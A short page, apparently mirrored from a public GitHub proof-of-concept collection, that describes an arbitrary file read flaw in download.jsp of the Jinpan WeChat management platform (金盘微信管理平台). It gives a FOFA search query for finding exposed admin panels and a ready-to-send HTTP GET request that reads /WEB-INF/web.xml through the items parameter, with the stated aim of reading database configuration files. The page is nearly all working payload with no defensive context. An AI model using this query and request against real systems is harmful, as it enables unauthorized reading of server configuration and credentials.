mirror of
https://github.com/adysec/POC.git
synced 2025-11-04 18:03:52 +00:00
451 B
451 B
金盘微信管理平台download.jsp任意文件读取漏洞
金盘微信管理平台download.jsp任意文件读取漏洞，通过该漏洞读取数据库配置文件等
fofa
title=="微信管理后台"
poc
GET /mobile/pages/admin/tools/file/download.jsp?items=/WEB-INF/web.xml HTTP/1.1
Host:
